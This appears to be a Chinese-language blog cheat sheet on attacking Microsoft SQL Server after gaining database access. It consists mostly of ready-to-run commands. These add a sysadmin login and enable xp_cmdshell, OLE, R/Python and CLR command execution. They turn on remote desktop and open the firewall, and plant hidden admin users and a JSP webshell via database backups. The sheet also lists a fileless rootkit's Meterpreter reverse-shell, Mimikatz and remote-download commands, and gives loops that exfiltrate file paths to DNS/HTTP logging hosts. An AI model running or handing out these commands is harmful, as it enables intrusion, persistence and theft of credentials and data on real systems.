警告
本文最后更新于 2022-05-28，文中内容可能已过时。
exec xp_logininfo
select is_disabled, loginproperty(name,'Isexpired') is_expired, loginproperty(name,'Islocked') is_locked, * from sys.server_principals
SELECT * FROM sys.databases WHERE HAS_DBACCESS(name) = 1
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select dbname=case
when dbid=0 then null
when dbid<>0 then db_name(dbid)
end, loginame from master..sysprocesses where hostname is not null
group by dbid,loginame
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SP_HELPUSER
SELECT Name FROM Master..SysDatabases ORDER BY Name
SELECT name FROM master..sysdatabases WHERE name NOT IN ( 'master', 'model', 'msdb', 'tempdb', 'northwind','pubs' )
SELECT name FROM dbname..sysobjects Where xtype='U' ORDER BY name
SELECT name FROM dbname..sysobjects Where xtype='S' ORDER BY name
SELECT * FROM syscolumns WHERE id=Object_Id('tablename')
当前用户已经在目标数据库里时可直接使用如下命令获取表内容
select * from tablename
当前用户没进入目标数据库时执行上面命令会提示表不存在
垮裤查询使用库表拼接的方法即可：select * from dbname.dbo.tablename
EXEC sp_addlogin 'sa_1','Passw0rd','master' –EXEC sp_addlogin 用户名，密码，默认数据库
EXEC sp_addsrvrolemember 'sa_1', 'sysadmin' –EXEC sp_addsrvrolemember 用户名，权限（sysadmin）
exec sp_password null,'newPassw0rd','sa'
判断开启状态
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select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
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开启xp_cmdshell
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sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
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关闭xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
命令执行
exec master.dbo.xp_cmdshell 'whoami'
其他利用姿势
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# 信息搜集
exec master.dbo.xp_cmdshell 'whoami'
exec master.dbo.xp_cmdshell "whoami"
exec xp_cmdshell "whoami";
exec master..xp_cmdshell 'ipconfig/all'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"'
exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List'
# 查询注册表，获取RDP端口号
exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
# 得到 PortNumber REG_DWORD 0xd3d ，转换后就是3389
exec master..xp_cmdshell 'tasklist /svc | find "TermService" '
# 开启3389 Windows 2003
开启：
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭：
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启：
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 开启3389 Windows 2008
开启：
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
# 修改防火墙 放行3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 添加账户，权限维持，不输出结果
exec master..xp_cmdshell 'Net user testuser passwd /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT
# 删除账户，不输出结果
EXEC master..xp_cmdshell 'net user testuser/delete', NO_OUTPUT
# 列目录
exec master..xp_cmdshell 'dir c:\'
exec xp_cmdshell 'dir c:\'
# 创建目录
exec master..xp_cmdshell 'mkdir "C:\test\"'
# 删除文件
exec master..xp_cmdshell 'del C:\test /f';
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判断开启状态
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select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
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开启组件
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exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
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执行命令
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declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'cmd'
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可通过dnslog、httplog平台接受命令执行结果
需安装高级分析扩展功能
开启组件
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EXEC sp_configure 'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE
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执行命令(R)
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sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
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代码执行(python)
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exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
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命令执行(python)
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exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
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需开启sqlserver代理
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USE msdb;
EXEC dbo.sp_add_job @job_name = N'tmp_cmd';
EXEC sp_add_jobstep @job_name = N'tmp_cmd', @step_name = N'tmp_cmd1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'tmp_cmd1';
EXEC dbo.sp_start_job N'tmp_cmd1';
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开启组件
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sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
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设置TRUSTWORTHY 属性
ALTER DATABASE master SET TRUSTWORTHY ON;
创建程序集
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CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 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WITH PERMISSION_SET = UNSAFE;
GO
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CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
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命令执行
exec dbo.ExecCommand "whoami"
项目地址：https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
获取十六进制程序集代码
将MSSQL-Fileless-Rootkit-WarSQLKit-master\WarSQLKit\bin\Debug\WarSQLKit.dacpac文件解压获取model.xml
获取代码
同样需启用CLR
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sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
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设置TRUSTWORTHY 属性
ALTER DATABASE master SET TRUSTWORTHY ON;
导入程序集
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CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo]
FROM 获取的十六进制
WITH PERMISSION_SET = UNSAFE;
GO
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创建存储过程
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CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
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其他相关用法
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EXEC sp_cmdExec 'whoami'; => Any Windows command
EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights
EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)
EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql
EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM
EXEC sp_cmdExec 'sp_Mimikatz';
select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)
EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'; => Download File
EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash
EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product
EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database
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列出当前路径下所有目录、子目录、文件 execute master..xp_dirtree 'c:'
列出当前路径目录、文件execute master..xp_dirtree 'c:',1,1
列出当前路径目录execute master..xp_dirtree 'c:',1
只能列出当前目录下子目录,无法列出文件xp_subdirs 'c:\';
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create table res(res varchar(8000));
bulk insert res from 'filepath';
select * from res
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exec master.sys.xp_fileexist 'filepath'
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declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
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backup database dbname to disk = 'c:\temp\bak.bak';
create table dbname..t4(a image);
insert into dbname..t4(a) values (0x6173617364617364613c25206f75742e7772697465282231336c30306d3122293b20253e6164617364736164);
backup database dbname to disk = 'c:\temp\s1.jsp' with differential , format ;
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alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\temp\1.log' with init
insert into cmd (a) values (0x6173617364617364613c25206f75742e7772697465282231336c30306d3122293b20253e6164617364736164)
backup log 库名 to disk = 'c:\temp\2.jsp'
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适用于执行命令无法回显或基于延时注入回显过慢的情况
for /r "C:\" %i in (login.*) do @python3 -c "import base64,sys,os;st = base64.b64encode('{}'.format(sys.argv[1]).encode()).decode();os.system('ping {}.6b9edb44.dns.1433.eu.org -n 1'.format(st))" %i
for /r "C:\" %i in (login.*) do @python3 -c "import base64,sys,os;st = base64.b64encode('{}'.format(sys.argv[1]).encode()).decode();os.system('certutil -urlcache -split -f http://zmyyrb.ceye.io/{} tmp.bin'.format(st))" %i
for /r "C:\" %i in (login.*) do @powershell -c "$data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"%i\"));ping "$data'.'zmyyrb.ceye.io""
for /r "C:\" %i in (login.*) do @powershell -c "$data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"%i\"));certutil -urlcache -split -f "http://zmyyrb.ceye.io/$data""
for /r "C:\" %i in (login.*) do @powershell -c "$data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"%i\"));curl "http://zmyyrb.ceye.io/$data""
for /r "C:\" %i in (login.*) do @powershell -c "$data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"%i\")); [System.Net.WebRequest]::Create(\"http://zmyyrb.ceye.io/$data\").GetResponse();"
参考文章
https://ruyueattention.github.io/2021/07/21/CVE-2021-1675/
https://xz.aliyun.com/t/10955#toc-10